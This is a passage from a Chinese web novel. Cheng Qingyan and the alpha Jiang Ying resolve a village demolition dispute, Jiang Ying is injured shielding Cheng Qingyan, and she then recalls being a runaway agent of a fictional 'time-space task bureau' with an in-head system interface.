有熟悉情况的人一起去,确实有好处,程卿言思忖片刻:【你明天不去研究院了吗】 姜映:【请一天假没事的】 程卿言也不犹豫了,下决定:【那你和我一起去,我现在让人开车来月泊林接你】 月柏林离程氏总部大楼不远,这会儿在公司的人很少,留下来的都在忙工作,没空去关注别的事。 她才放心地叫对方过来。 二十多分钟后,带着口罩和鸭舌帽的alpha走进了休息室。 程卿言瞧着她偷偷摸摸,一副怕被人发现的样子,嘴角扬了起来,轻轻笑了一声。 姜映取下帽子和口罩,走到床边:“姐姐。” 程卿言嗯了一声,双手勾着alpha的脖子,将她带上床:“我们是在偷|情吗?” 姜映颤睫:“啊?” 程卿言问:“你怎么打扮成这样?” 姜映如实说:“我担心有人看见了,给你惹麻烦。” 程卿言吻了吻alpha的耳朵,她也讨厌这样偷偷摸摸的行为,再过不久,等一切稳定了,她就能光明正大带女生来她的办公室了。 姜映的耳朵敏感,瞬间红了起来。 程卿言笑了一声,疲惫地闭上眼睛:“陪我睡会儿。” 姜映本想说她还没换衣服,可见着女人疲惫的面容,目露心疼,没再废话,脱掉外衣外裤,躺进被窝,温柔地抱着女人:“姐姐你睡吧。” 程卿言低低地嗯了一声,实在太累了,体力不支,在女生的怀里很快睡着了。 只睡了三个多小时。 五点半起床,吃了早餐,六点准时出发去高铁站。 商务座还算舒适,几个位子坐的都是公司的人,都开始处理事情了。 姜映这会儿帮不上忙,片刻后也在手机上处理着研究院的工作,虽然请了假,也有事情做。 几十分钟后,到了云县高铁站。 程氏分公司的负责人已经安排好车等候着了。 秦助理主动开车,姜映和程卿言去了后排坐着,其余人坐另一辆车。 程卿言躺下,头枕在姜映腿上,闭着眼睛道:“我睡一会儿。” 姜映应好:“到了叫醒你。” 程卿言挑眉,手伸进alpha的衣摆,隔着衬衫摸着女生薄薄的马甲线,小声道:“不要叫我。” “嗯?” 姜映腰腹一紧,被如此抚着有些不好受,但女人喜欢,她没有阻止她,只是为什么不用她叫她? 女人吻了吻alpha的侧腰处,闭着眼睛道:“你得吻醒我……” 第73章 动了 动了 第七十三章 昨夜姜映没换睡衣,抱着女人睡了几个小时,早上起来时打底衫已经皱得不成样了。 程卿言不爱弄皱衣服,看不下去,于是让女生换上了她的衬衫。 办公室的休息室里什么都备得有,除了面积不太大,如同一套小套房,她在物质上向来不会苛待自己,工作本就辛苦,她会享受生活。 小型衣帽间里准备了很多各式各样的衣服,她亲手给女生挑选的衬衫,也是她亲手给女生穿上的。 从下到上,给alpha扣上纽扣,给alpha整理衣领。 程卿言不爱干活,不喜动手,她是第一次伺候人更衣,倒也有趣,并且还主动给自己讨了奖励,手不安分地碰了碰有趣的地方。 alpha瞬间通红的耳朵,轻颤的眼尾,握着她的手腕可怜巴巴地叫她姐姐,求她不要闹。 此刻回味起来,十分有趣。 程卿言确实累了,本来就只睡了三个多小时,上了高铁后就开始处理事情,这会儿躺在女生腿上,才能休息片刻。 想休息,但回味着起床那会儿发生的事,心痒痒的,又想玩alpha。 既想又想。 她也是贪心的人。 她不只是想想,她还既要又要。 从高铁站到云县的拆迁地,开车需要半个小时,在心里分配好时间,前五分钟玩,余下的时间拿来休息。 姜映心疼她,所以很纵容她。 好在女人不是很过分,只是在她腰腹那一块,隔着衬衫亲亲抚抚,稍微过分的时候,指腹会从两颗纽扣之间的缝隙滑进去,轻一下重一下地逗弄她。 姜映哪受得了她如此,额头覆上了薄汗,呼吸都快了许多,有些不好受地想喘几口气,但车里还有秦助理,羞耻心作祟,咬着唇又咽了回去。 垂着眸,眼尾红红地瞧着闭目养神,但并不安分的女人。 程卿言,很不乖。 alpha大逆不道地在心里骂了一句,骂完之后,又在心里补了句“错了,不该骂姐姐”。 没到五分钟,可能只过了三分钟,女人便停了下来,呼吸均匀地睡着了。 程卿言的睡眠不好,对睡觉的环境要求较高,平时再累,在车上也只是闭目养神,不可能睡着。 可是这会儿居然睡着了,累到睡着了。 姜映眼睫颤动,心疼地看着女人疲惫的面容。 希望等会儿她可以帮上忙,为女人分担忧愁,早点解决这次的事情。 轻轻呼了一口气,温柔地给女人理了理脸上的发梢,片刻后空着那只手拿起了手机,单手点着手机屏幕,一边留意着女人,一边处理自己的工作。 半个小时后,即将达到目的地。 得让程卿言醒来了。 不能叫,得吻醒。 姜映眨了眨眼,微微俯身,嘴唇凑到女人耳边,红着脸颊边吻边道:“姐姐,姐姐可以起来了。” 程卿言只是进入了浅睡,在女生温热的嘴唇贴着她耳朵那刻她就醒了,迷糊了几秒,缓缓睁开眼,看着女生青涩的脸颊,扬了扬唇。 起身在alpha脸上亲了一下,而后拿出口红,让alpha给她补妆,提一提气色。 姜映嗯了一声,认真地给她涂口红,片刻后她道:“好了。” 程卿言垂眸,看了眼女生的衬衫,腰腹那块又变得皱巴巴的了,缎面材质的衬衫本就容易皱,方才她又玩了一阵儿,此刻非常皱。 但这些是她弄的,想了几秒,直接替女生拉上外套的拉链,严丝合缝拉到脖子。 姜映困惑:??? 程卿言说:“等会儿下了车风大,穿严实些。” 姜映体质好,冬天像暖宝宝,如实说:“我不冷。” 程卿言挑眉,嗔了她一眼。 姜映改口,立马说:“其实也有一点冷,穿厚点好,姐姐你也得穿厚点。” 程卿言笑了一声,摸了摸女生的脸:“知道了。” 拆迁地名为稻村,两分钟后,车子停下,抵达稻村的集中停车场。 稻村名字里虽然有村字,但并不是在真正的乡下,位于云县城郊,交通便利,去县城比较方便,又没有城市的拥挤吵闹。 地势也很平坦,因此很多老人年老了也不愿意离开这里。 程卿言这次过来带的人不多,算上姜映,一共六个人,秦助理很能打,一个顶几个,不会出什么乱子。 她是来解决问题的,不是来扩大矛盾的,若是带上保镖,那在住户眼里就等同于坐实了“恶势力”的名号,会更加不待见程氏的人。 稻村的基础设施虽然不错,但大家居住的依旧是年份已久的老平房,看起来比较破旧。 即使科技园的选址不在这里,程氏不对这里进行拆迁,十年内这些房屋也会被认定为危房,政府也会出手管理,不允许人居住。 提前和稻村的干部联系过,干部叫王琇,前年毕业考公上岸来了稻村,年纪不大,村里的老人都叫她小王,平日工作清闲,但有事发生时,她也是积极解决。 王琇年轻,且是明白人,知晓这里拆迁是一件好事,程氏给住户开出的条件又好,一直在积极配合工作,原本事情都谈好了,谁能想到昨晚会发生意外。 她去劝和调节,住户们根本不听她的,还说她收了程氏给的黑心钱,昧着良心帮着程氏说话。 她冤枉啊,她收哪门子的黑心钱了,她就一月三千五的固定工资,稻村的住户大部分都是老人,她也不敢和她们争论,万一出了什么事,她付不起这个责。 到时候可能一月三千五都没了,换个有铁窗的地方继续吃国家饭,踩缝纫机做伞,下半辈子就很有判头了。 王琇在这里已经快工作了两年了,但在大家眼里她只是来工作了,她是外人。 姜映和她不同,姜映在刚学会走路,话都还说不清楚时就来了这里,一直跟着外婆张春和,和张春和年纪差不多大的老人都很稀罕她,算是看着她长大的。 住户们听到程氏又来了人,气冲冲地一起走了过来,不想有任何交谈,只想赶走程氏的人。 瞧见姜映也在时,明显愣了一会儿,你看我我看你,姜映连路边的小花都不忍心踩,绝对不可能害她们,怎么会和程氏的人一起过来。 “小映啊,你怎么和这些人一起过来了,是不是她们欺负了你。” “对啊,你别怕,有我们在,我们保护你。” 这些老人在面对姜映时语气好了很多,慈祥得很,王琇十分羡慕,她从没有过这种待遇。 姜映见状,打算走了过去。 程卿言担忧地看了她一眼。 姜映轻轻朝着她摇了摇头,过去后拉着老人家中声望最高那位的手,和她们说了会儿话,她没提拆迁过程中涉及到的专业术语,耐心地用老人家能听懂的质朴语言,给她们简单地讲了昨晚的事。 大家肯听她说,一点也没有不耐烦。 站在一旁听着她们说话的王琇满脸震惊,不是,姜映现在说的话,和她给大家解释时说的内容,除了声音不一样,几乎没有区别,为什么她的话就没人能听进去。 王琇不知道,除了声音,还有很多不一样的地方。 这些年手机的使用方法,新家电的注意事项,给晚辈寄东西等等等一系列事情,都是姜映耐心地教这些老人家,教了忘忘了教,一遍一遍不厌其烦地教,大家才学会的。 所以姜映说的话,大家听得进去。 十来分钟后,大家的情绪明显被安抚下来了,没有急着赶程氏的人走了。 “中间穿灰色衣服那个是最大的管事的?”有老人问。 姜映点头:“她特意过来给我们解释情况的。” 最大的管事人都来了,看来很重视这件事,而且也没带打手过来,就带了几个看文文弱弱的,面相看起来也还可以,不怎么坏。 最重要的是小映说那些人不坏。 大家犹豫片刻,讨论了会儿,最后愿意给一个机会,让程卿言和大家谈一谈到底是怎么回事。 到了这一步,姜映就已经帮了大忙了,剩下的事情交给程卿言就行了。 程卿言提前对这些老人做了背调,知晓她们的家庭情况,没有晚辈的老人占少数,多数老人都是有晚辈的,但依旧独居在此处。 云县是个宜居的好地方,但是留不住年轻人,年轻人有理想有抱负,即便没有理想,为了生存,也要去就业机会多的地方打拼。 老人不想走,年轻人不愿意留,归根到底就是工作问题,没有工作适合年轻人,而程氏即将要开发的科技园恰好能解决这个问题,会给有能力者,有理想者发挥的天地。 信息科技,目前以及未来数年都是热门行业,会吸引来大批年轻人,自然也能留下年轻人。 程卿言用简洁质朴的话阐述了科技园建设的初衷和前景,同时也不否认程氏会盈利的事实,没有弄虚作假,晓之以情动之以理。 乘此机会再接再厉,还解释让大家闹误会的原因,举例说明拆迁款为什么会出现差异化等一系列问题。 在大部分人都听进去时,总有几个听不进去的,又突然闹了起来,说程氏又开始忽悠人,最开始不也是这样忽悠大家的,等签了合同,肯定又会变卦,姜映年纪小,识人不清,肯定也被程氏的人忽悠欺骗了。 你一句我一句,刚缓和的下来的气氛又闹了起来,不太敢相信程卿言说的话了。 程卿言眸光缓缓落在了人群中,穿梭观察,最终锁定了一直没怎么大声说过话,但会时不时在一些老人身旁窜走耳语的人,看外貌应该在六十岁左右,带着眼镜,在稻村的住户中算是较为年轻的。 在大家吵嚷时,这个人一直在人群中,但没有大声说过话,行为举止也不夸张,像是不想让人注意到他。 不经意间,程卿言和他对视了一眼,他立马移开眼睛,看向别处。 住户这会儿又发出些质疑的声音,虽不激烈,但也有些吵嚷,场面有些乱,戴眼镜的人在往角落移,好像要趁大家不注意,离开这里。 程卿言侧头,看了秦助理一眼,秦助理瞬间理解到她的意思,不动声色朝着眼镜移开的方向走过去。 片刻后,人群中忽然发出一声惊呼。 “打人了,她们打人了!” 声音是眼镜发出来的,在秦助理靠近他,还没接触到他时,自知走不掉,于是高声乱喊,还拉住了几位和他相熟的老人家躲来躲去,场面瞬间乱了起来,警惕地看着程氏的人,也不想听她们说什么。 王琇大惊地看着眼镜,让他停下来,不要拉着老人家乱动啊,要是出了点事,她就完蛋了。 人群混乱吵嚷,秦助理担忧出乱子,注意力放在了眼镜身上,又担心碰到了老人,有些束手束脚,影响了她的发挥,不能轻举妄动。 等待片刻,瞄准时机,在没有碰到老人的情况下,灵活走位,控制住了制造混乱的眼镜。 “小心!” 程卿言被一道力量推开,还没站稳,便听见周围的声音变得更加嘈杂混乱,在这片混乱中她捕捉到其中夹杂着姜映的名字。 心口猛得一颤,立马回头,瞧见姜映倒在了她方才站着的位子,头上全是血,鲜血涌出,布满了整张脸。 旁边散落着好几块染了血迹的铁块。 铁块是从身后三层高的广播楼里突然扔下来的,不只是姜映受了伤,还有程氏的两名员工也被砸到了,员工的伤不严重,姜映在推开程卿言时,也奋力推了她们一把。 程卿言神色慌乱,红了眼睛,快步跑到姜映身旁,声音颤抖:“姜映,姜映你听得见我说话吗……” 无人应声。 深呼一口气,程卿言快熟镇定,先让王琇和程氏没有受伤的员工安抚老人,让大家不要围过来碰到姜映,再让秦助理报警打急救。 大家见姜映出了事,都很着急担心,没有再闹了,比较配合地在王琇的指挥下散开了。 很快,局面稳定下来,救护车也来了。 云县不大,稻村位于城郊,很快到了医院,姜映被送往了急救室,两名受了轻伤的程氏员工也跟着护士去做检查了。 云县的医疗水平有限,比不上碚城,但去碚城开车需要两个小时,太慢了,姜映的伤在头上,不能拖,越早处理越好。 程卿言不知道姜映的伤情如何,流了那么多血,是不是很严重,她已经让人联系碚城的医院,安排了神外科专家,这会儿已经在来云县的路上了,先稳定伤情,若是不行,再立马送去碚城。 稻村的人在姜映受伤那会儿,就给张芸打了电话,程卿言在急救室外面守了一会儿,张芸慌忙地赶到了医院,脸上满是着急。 片刻后,急救室的门打开,医生走了出来,问道:“家属在吗?” 张芸快速应了一声,走过去道:“我是她妈妈。” 医生点头,让张芸签了字,又回了急救室。 十多分钟后,门重新打开,姜映躺在床上被推了出来,眼睛紧闭着,脸上的血迹已经清理干净了,露出了苍白的脸。 护士将她推进了病房。 医生说:“你们放心,病人目前没什么大碍,你们先去看看她,等会儿来我办公室,我详细说一下她的情况。” 张芸连忙对医生说了谢谢,跟着护士去了病房。 在听见医生说没事那一瞬,程卿言攥紧的掌心稍稍松开了,一直堵在胸腔的那口气终于呼了出来,呼吸顺畅了,这时她才敢用力地呼一口气。 秦助理一直在一旁打着电话,按着程卿言的吩咐,处理好了事情,才走过来。 程卿言问道:“交涉好了吗?” “刘局说她会亲自调查,尽快给我们回复。”秦助理看着她衣服上的血迹,以及苍白的脸色,担心地劝说她也去做个检查。 程卿言摇头:“我没事。” 她衣服上的血迹是姜映的,她没有受伤,她走到姜映的病房外,手落在门把手上顿住,最终没有推门进去,透过门上的玻璃静静看了一会儿。 片刻后程卿言去了医院旁边的酒店,快速洗了澡换上干净的衣服,吃了两颗体能药,精力消耗过大,额头上全是冷汗,实在撑不住了,闭着眼睛坐在沙发上休息了二十分钟,电话响起,她接起来,是碚城那边过来的医生到了。 程卿言呼口气,起身去了医院。 主任办公室内。 碚城来的医生姓庄,已经去病房看姜映的伤口情况,这会儿在认真地看了姜映的脑部片子,脸上的神色有些疑惑。 庄医生是孙影的朋友,国内神外数一数二的人物,见过的病人很多,经验丰富,程卿言对她的医术很放心,见她如此神色,心也提了起来。 云县人民医院神外科的李主任很愿意和庄医生这样的业界大佬学习交流,主动道:“病人伤到的位置很脆弱,出血量也很大,伤口也深,按道理来讲,情况会很危险,如果抢救不及时,很有可能危机到生命。” 但是,姜映脑内的神经完全没事,那么严重的伤口,失血量这么大,仅仅是皮外伤。 太反常了,不符合医学原理。 李主任最开始都怀疑是片子出了问题,或者是医疗设备出现了故障,经过核实过后,这些都没问题,她又开始怀疑是不是自己的经验不足,所以看不出问题的所在。 她讲了自己的看法后,问道:“您觉得呢?” 庄医生放下片子,认真道:“片子没问题,你的诊断也是正确的,病人确实是皮外伤,如果要说严重一点,可能会有轻微的脑震荡。” 李主任稍稍放下了对自己的质疑,虚心请教为什么会出现这种情况。 庄医生摇头,她也是第一次碰见,找不出道理,只能解释为医学奇迹。 程卿言因为信息素紊乱的缘故,了解了很多有关身体各项指标的专业术语,李医生和庄医生的对话她全听见了,悬着的心彻底落了下去,姜映没事。 没事就好。 至于姜映为什么没事,她并不好奇,她也不想去研究,只要没事就行。 但她能猜测到,令医生困惑的医学奇迹,大概和姜映异于常人的愈合能力有关,和姜映特殊的体质有关。 庄医生和李主任讨论过后,又给她细说了一遍姜映的情况,让她放心,又嘱咐:“如果她日后觉得脑子不舒服,一定得联系我。” 程卿言礼貌应好,庄医生工作忙,既然姜映没事了,也不会在此久留,她安排人送她回了碚城。 正午已过。 程卿言没有胃口,应付地吃了几口饭,然后再吃了一颗体能药,和秦助理一起去了趟警局,走流程做了笔录,补充了很多细节。 没人敢马虎这件事,碚城那边刘局也亲自打了电话过来。 再者,程卿言的身份本就特殊,云县未来的发展还得靠程氏,程卿言在这里出了事,谁担得起这个责。 丢铁块的人已经找到了,案件正在调查中。 从警局出来,程卿言又去了趟稻村,亲自和那些担心姜映的老人家说了姜映的情况,让大家放心。 “没事就好,没事就好。” “小映要是出了事,我以后怎么有脸去见她外婆啊,春和走的时候还拉着我的手,让我照顾小映。” “都怪我们,越老越糊涂了,闹这一出,才让小映遭罪了。” “小映说你是最大的管事的,是大人物,拜托你找最好的医生给她看看,带她去碚城的大医院看看,她还这么年轻,千万别留下什么后遗症。” “等她好了,我们再去医院看她,现在就不去添乱了。” 程卿言耐心地回应着大家,在稻村待了一个多小时,便告辞离开了。 稻村这些老人不坏,只是年纪比较大了,骨子里有些固执,又对新事物不了解,会突然闹起来只是被人利用了。 经过了这事,都想通了,也不会再闹了,彻底同意了拆迁,愿意和程氏签订合同。 傍晚,天色暗沉。 程卿言坐在车上,车窗开了一条很小的缝隙,冷风吹了进来,无情地在发梢间穿梭。 颤了颤眼睫,面无表情地侧头看了眼窗外。 云县的夜景。 姜映家乡的夜景。 没有碚城繁华,但也温馨热闹,很有特色,值得人多看几眼。 可是,姜映差点就看不见了,如果不是姜映特殊的体质让她没有大碍,从庄医生和李医生的交谈中可以得知,情况会很棘手。 程卿言呼了口气,垂眸看了眼自己的手,还在轻轻地颤抖着,从上午瞧见女生满脸是血那会儿开始,她想抱她,又怕伤着她,手就开始颤抖了。 像是出现了应激反应,目前还没恢复,不知道要抖到何时。 程卿言发现她在后怕,甚至在后悔。 后悔带姜映来云县,后悔让姜映卷入这些事情中。 即使拆迁的事已经解决了,住户们不再闹了,比她预期的速度要快很多,可她开心不起来。 原计划中没有姜映,她会反复去几次稻村,用足够的诚意和耐性和那些老人家谈,她会想其它办法,让大家原因听进去她的话,最后也会达成目的。 过程要慢很多,很耗费时间和精力。 因为姜映,速度提前了,一天之内就解决了。 可是代价却很大,这一切是用姜映换来的,程卿言感觉很糟糕,感觉很失败,她对此开心不起来。 缄默片刻,她回神,神色严肃地打了几通电话,最后一通电话挂断时,已经到了医院停车场。 程卿言深呼一口气,理了理情绪,去了病房。 张芸还在病房了守着,中午那会儿程卿言已经和她简单做过自我介绍了,因此她知道姜映和程卿言认识,并且是朋友,猜测到昨晚姜映给她打电话问稻村的事,应该也是为了程卿言。 她虽然好奇姜映是怎么认识程氏集团的老板,但这会儿也没精力去问了。 程卿言见她守了一天了,开口道:“阿姨您回家休息一会儿吧,晚上我来守着。”像是知道对方要拒绝,继续补充道,“您别太担心,医生也说了姜映没什么大碍,您回去休息一晚,之后才有精力来照顾她,我在这守着,若是有别的情况出来,会通知您的。” 二中离医院也不远,张芸犹豫片刻,最终应了声好:“那就麻烦你了。” 程卿言:“应该的。” 待张芸走后,病房安静下来,程卿言坐在病床旁边的椅子上,颤动的眸光落在女生的脸上。 伸手,指尖要触碰到女生的脸颊时,她呼了口气,又将手收了回去,静静地守着姜映。 安排人送了晚饭,吃了过后,程卿言继续守着。 期间没出去过,即使有事要处理,也是在病房处理。 直到晚上十点,姜映还没醒,她问过医生,医生说十二个小时之内会醒过来。 还差五分钟就十二个小时。 程卿言开始着急了,会不会女生其实伤的很严重,但是医生和现有的医疗设备检查不出来,就像女生的信息素一样,检查不出来。 她一直注意着时间,五分钟之后,女生还是没醒,她起身迈着大步子去了李主任的办公室。 病房门合上时,躺在病床上的姜映轻轻颤了颤眼睫,按在床单上的手也动了几下。 意识渐渐清醒,睁开眼那瞬,脑子里“嘀”了一声。 连接密码出现:【sysyqy】 冰凉的机械声响起:密码正确,请宿主自行查看后台 第74章 炽热 炽热 第七十四章 两分钟后,程卿言从李主任的办公室回来。 推开门,视线刚落在病床上,眉头拧起,心提了起来。 床上没人。 程卿言的精神紧绷了一整天,忙了一整天,就像一根紧绷着的琴弦,随时有断掉的可能。 大脑太疲倦,脑子已经不太够用了,瞧见姜映消失,她的理智也不在了,瞬间慌乱。 快步走到床边掀开被子找了找,没有瞧见人,转身就要出去寻人。 关心则乱,没注意到卫生间的灯是开着的。 在她要走到门口,要出去那瞬,手腕被快速握着了。 “程卿言。” 熟悉又想念的声音响起,程卿言颤了颤眼睫,莫名地眼眶有些酸,深呼一口气转身看着姜映的脸,视线交错。 还没来得及开口说话,慢她一步进来的李主任瞧见姜映站起来,而且还走到了门口,惊吓道:“你怎么爬起来了,脑子还要不要了你,快快快扶着她去躺着。” 在李主任眼里,姜映虽然没有伤到神经,但还是流了那么多血,砸出了这么大个伤口,管你医学奇迹不奇迹,都是病人。 在姜映躺下后,她还板着脸,严厉地批评道:“你这么大了,大学都快毕业了,又不是三岁小孩,受了伤不好好躺着,下床跑什么跑,不要仗着年轻就瞎折腾,得把自己的身体当回事。” 李主任严厉起来挺吓人的,平时可以吓唬到很多人,曾经还有不听医嘱的患者直接被她说哭了。 不过此刻她面前的人是情绪很淡的姜映,没有别吓着,听了她的批评后,依旧没什么情绪起伏,平静地说:“谢谢医生关心,我知道了。” 像是一拳打在了棉花上,有力无处使,现在的年轻人都这样佛系淡定了吗? 不应该啊,她的侄女和姜映差不多大,吃辣条都会悄悄偷着吃,生怕被大人发现了,孩子心性还很重。 李主任在心里嘀咕几句,便没再纠结此事了,开始查看姜映的情况,详细地记录在病历本上。 没有问题,每一项数据都是正常的,恢复得很好,但是依旧不能马虎,毕竟姜映的情况特殊,谁也不能保证之后会不会出问题。 李主任对程卿言说:“你得管着她,至少两天内不能让她下床随意走动,躺着好好静养。” 程卿言认真地听着,礼貌地送她出了病房,片刻后她回到床边,看着女生已经恢复了血色的脸,她坐下,没有说话,伸出手轻轻碰了碰女生的脸颊,很轻很轻,从脸颊摸到脖子。 有温度,脉搏也在跳动,她真实地感受到了这些,细细地感受着,颤抖了一整天的手在这时才恢复了正常,不再抖动。 姜映也在看她,牵住她的手,开口问道:“你有没有受伤?” “我没事。” 明明自己伤成了这样,开口的第一件事居然是问她有没有受伤,程卿言说不出她此刻的想法是什么,只是觉得她心口那里像是放了一片裹满白砂糖的柠檬,甜味和酸味混在一起,有些酸胀。 她想起了上一次带姜映去外省开座谈会那次,高速上差点发生了事故,姜映的第一反应也是护着她,将自身置于危险中。 她当时就告诉她,以后无论发生什么事,都得在保障自身安危的前提下,再去保护别人。 可是今天,姜映依旧选择了保护她,让她毫发无损。 但是程卿言一点也不想夸她,甚至有点生气,想骂她一顿,狠狠教训她。 可她教训人的话还没说出口,女生满脸是血躺在地上的画面又出现在了脑海里,生命的脆弱渺小,像是随时会消逝,留不住,抓不着。 程卿言一直是唯物主义,坐在救护车上送姜映来医院的段记忆明明发生在今天,可她发现她记不清那段时间她做了些什么,救护车里的护士对她说了些什么话。 她只记得一件事,她在祈祷,祈祷神明保佑姜映没事。 此刻女生好好地坐在眼前,她还有什么不满足,她也舍不得骂她了,即使要骂,也是以后再骂,这会儿她只想看看她。 程卿言眼眸里满是情意,心疼地问:“头是不是很疼?” 姜映如实说:“有一点,但是还好,感觉过两三天就可以恢复得七七八八了,你不用担心我,我恢复能力很强。” “被砸到的那瞬间是不是很疼?”程卿言是想问她。 姜映愣了几秒,嗯了一声,那瞬间确实疼,她甚至有种生命在快速流逝,她马上要不行了的感觉。 鲜血模糊了视野,很累,很想睡觉,意识即将消失的前几秒,她很想看看程卿言,可是她怎么也睁不开眼,也听不见任何声音,她抵抗不了,只能倒下。 “没事了,已经没事了,你很厉害,已经挺过来了。” 程卿言声音很柔,这些话既像是说给女生听,也是说给她自己听。 姜映点头,瞧见女人眼里的血丝,猜到她应该一整天没休息了,也不再多说,关心道:“你躺下休息会儿吧。” 她知道女人对睡觉环境要求比较高,本想劝她不用守着她,去医院旁边的酒店睡一晚,想了想还是没说,女人肯定不会同意。 程卿言确实很累,在女生没醒之前,她尚且能凭着一口气支撑着,女生这会儿醒了,能确定没事了,真的撑不住了,简单洗漱过后,换上睡衣,躺在了看护床上。 住的是VIP病房,条件也很一般,胜在安静。 病房里的床都很小,虽然能躺下两个人,但会显得很拥挤,医生也说了得让姜映好好休息,于是程卿言没有选择和姜映睡一起,她侧躺着,看着女生的脸:“我给你妈妈发了消息了,说你已经醒了,她让你不用给她打电话,明天她会过来的。” 姜映:“知道了。” 程卿言眼睫颤动,声音疲惫:“你把眼睛闭上,睡觉。” 姜映应了声好,闭上了眼睛。 病房里的大灯已经关掉了,只有靠近门口处的昏暗夜灯还亮着。 程卿言疲倦地说了声晚安后,片刻后浓密的眼睫缓缓合拢,陷入了沉睡。 在女人睡着后,姜映睁开了眼睛,安静地看着女人的面容,柔情的眸光中掺杂了许多复杂的情绪,她没将其收敛,一直看着女人。 若是程卿言此刻醒着,便会知晓姜映眼中多出来的情绪是疲惫和困惑,是她以往从没在姜映眼睛里瞧见过的疲惫和困惑。 姜映就这样一动不动地侧躺着,一直注视着她,十多分钟后,才轻轻翻身平躺着,呼了一口气,在心里念出了连接系统的密码。 【sysyqy】 “嘀”的一声响。 冰凉的机械声响起:【宿主已成功登录,后台工作日志已激活,详细情况请宿主自行查看,如有不解,请随时呼唤系统进行智能解答】 工作日志界面类似电脑,分类很详细,在脑识里悬浮着,散发出淡淡的蓝光。 积分板块,已完成任务板块,登录板块,待完成任务板块,系统通知板块,报错板块等等等。 主界面写着,姜映上一次登录在二十一年前。 二十一年前。 姜映还没满二十一,还差几个月才二十一,旁人见了肯定会对此困惑,但是姜映没有,瞧见这些突然出现在脑子的东西,她的神色没有波动。 脑门上的伤口没有好全,一跳一跳地泛着疼。 在她被砸,晕倒之后,她陷入了一片黑暗,脑子里的神经像是在重组生长,出现了很多不属于这个世界的记忆。 她意识到自己不属于这是世界,来自时空任务局,编号1020,但她不是来这里协助世界女主执行任务的。 从脑子里出现的记忆得知,她是瞒着时空任务局悄悄逃来这个世界,不想再继续待在时空局去各种不同的世界执行任务,她对此感到很疲倦了,她想逃离。 在脑子里点了点悬浮界面,查看了她曾经做过的任务,箭头快熟往下滑动,根本划不到尾,实在是太多了。 姜映也大概记得她做过哪些任务,细细回忆片刻,她去过修仙世界,动物世界,原始部落,封建社会,全智能机械社会,任务有关亲情,有关友情,且全都是难度极高的剧情任务。 虽然是任务世界,可她也是真实地参与进去,与原世界的生命并肩作战,经历了太多的生死离别,一次又一次,太疲惫了,不想再卷入复杂的事情中,只想平静地过一辈子,于是她逃离了任务局,作为新生命来了这里。 不过她为什么要选择这个世界? 姜映愣了几秒,回忆里没有答案,片刻后,她又查看了她的积分,非常多,是她做了成千上万的任务积累起来的。 明明早就对做任务感到疲惫了,为什么还要去执行那么多任务才选择离开,而不是早点逃离系统局。 为了积分吗? 如果是为了积分,她应该去做感情任务才对,做一次感情任务获得的积分是剧情任务的两倍,可是她方才在回想她做过的任务时,发现她做的全都是剧情任务,协助主角团搞事业。 为什么? 姜映想不明白,她的回忆中也没有出现这些信息,静了片刻,她在脑子里呼叫了系统,问道:【你知道我为什么只做剧情任务吗?】 系统:【任务是宿主自行选择的】 姜映顿了两秒:【任务局不会干涉吗?】 系统:【百分之九十九的情况下不会干涉,除非出现了难度很高的任务,才会指派给能力强的宿主去完成】 【宿主你的能力就能强,是任务局里最勤奋的宿主,积分排已经排进了前三】 积分排进了前三,她为什么要这么勤奋,姜映不知道原因:【积分有什么用?】 系统:【积分达到一定额度,可以实现愿望,宿主若想使用积分,请进入积分界面填写】 愿望生成,积分就会变动,记录会出现在时空任务局的档案上,时空局会找宿主核实。 系统说的这些事项,悬浮界面中都写得很清楚,姜映已经找到了,认真地看了一会儿,最后点进了标红的报错界面,里面的未读消息提醒她走错世界了,任务与世界不匹配,提醒她主动联系任务局报错,进行修正。 姜映同时也瞧见了她离开时空局前的最后一项任务,不是她自行选择,是时空局分配给她的,她所有任务中唯一的感情任务。 待完成,进度为零。 明显她是在领到任务后才逃离的时空局,任务世界的时间进度和时空局的时间进度不一样,在这个世界里她生活了快二十一年了,但时空局那边的时间才流逝了一小会儿,因此不会注意到她的去向。 所以,只要她低调安静地生活着,不靠近这个世界的女主,改变女主的命运,她就不会被时空局注意到,她能彻底逃离令她疲惫不已的生活,安稳地过完这一生。 姜映反应过来一件事,明白了她为什么从很小的时候开始,她的意识一直暗示她,让她不要卷入复杂的事情中,让她低调平静的生活着。 因为不想被时空局发现,不想再回去了。 至于为何系统不和时空局联系,从工作日志里的介绍和方才的对话中可以得知,系统的权限不大,只是在宿主执行任务时起辅助监督作用,有点像现实世界里的人工智能。 系统察觉到宿主要执行的任务和所处的世界不匹配,程序会错乱,会提醒宿主进入报错界面,联系时空局。 工作日志里的内容太多了,姜映先看了重点信息,但是没有找到她想知道的信息,她问道:【我为什么会在时空局?】 系统的冰凉的机械声响起:【属于宿主的个人隐私,系统无权查看,若宿主没填写在工作日志上,请宿主联系时空局,调查档案】 姜映不可能联系时空局,她再次翻看了工作日志,还是没有找到,脑子里涌入的记忆中也没有关于这部分的信息。 出现的记忆都与她在时空局做的任务有关,那之前呢? 她在做任务之前是谁? 还是说她也是属于人工智能的一种,她的时空局研发出来的,只是比系统高级,在做任务的过程中有了感情和意识,所以选择了逃离。 姜映皱了皱眉心,对此感到茫然,可是记不起来,若是想知道,只能联系时空局。 但是她不想回去,不想在执行任务。 轻呼了一口气,机械声主动响了起来,开始提醒她任务错乱,进行报错。 一遍一遍地提醒。 太吵了。 姜映退出了登录,脑子里的蓝屏消失,机械声也随之消失,耳朵也清净了。 病房里寂静无声,静得能听见自己的心跳声。 姜映抬手放在心脏的位置,感受着自己的心跳,鲜活有力,确实是人类的心跳。 她觉得她是人类,不是机器。 几息后,姜映翻身侧躺着,疲惫的眸光重新落在了程卿言的脸上,温柔缱绻,情意满满。 程卿言。 她在心里轻轻念着几声这三个字。 程卿言。 随着心跳,心脏每跳动一下,她就念一声。 她的迷茫与不安,慢慢地削弱很多,程卿言住进了她的心里,成为了她的心跳。 她不属于这个世界,可她想留下,既是为自己而留,不想再回时空局,也是为了…… 为了能和程卿言存在于同一片天空下,能看见她,能听见她的呼吸,感受她的温度。 姜映颤了颤眼睫,眸光一凝,顿了几息,既然这里不是她执行任务的世界,程卿言也不是她的任务女主,那她为何会梦见程卿言是女主的梦? 并且梦里出现的部分信息,也在现实生活中得到应验了,是真实存在的。 为什么她会梦见? 因为她来自时空局,她的出现让世界发生了错乱,从而在她脑子里自动生成一些有关女主的信息? 她从前没遇见过这种情况,不知道事实是不是她推测的这样。 唯一能确定的是,想要在这个世界安稳地生活,不被时空局发现,最好的选择就是远离女主。 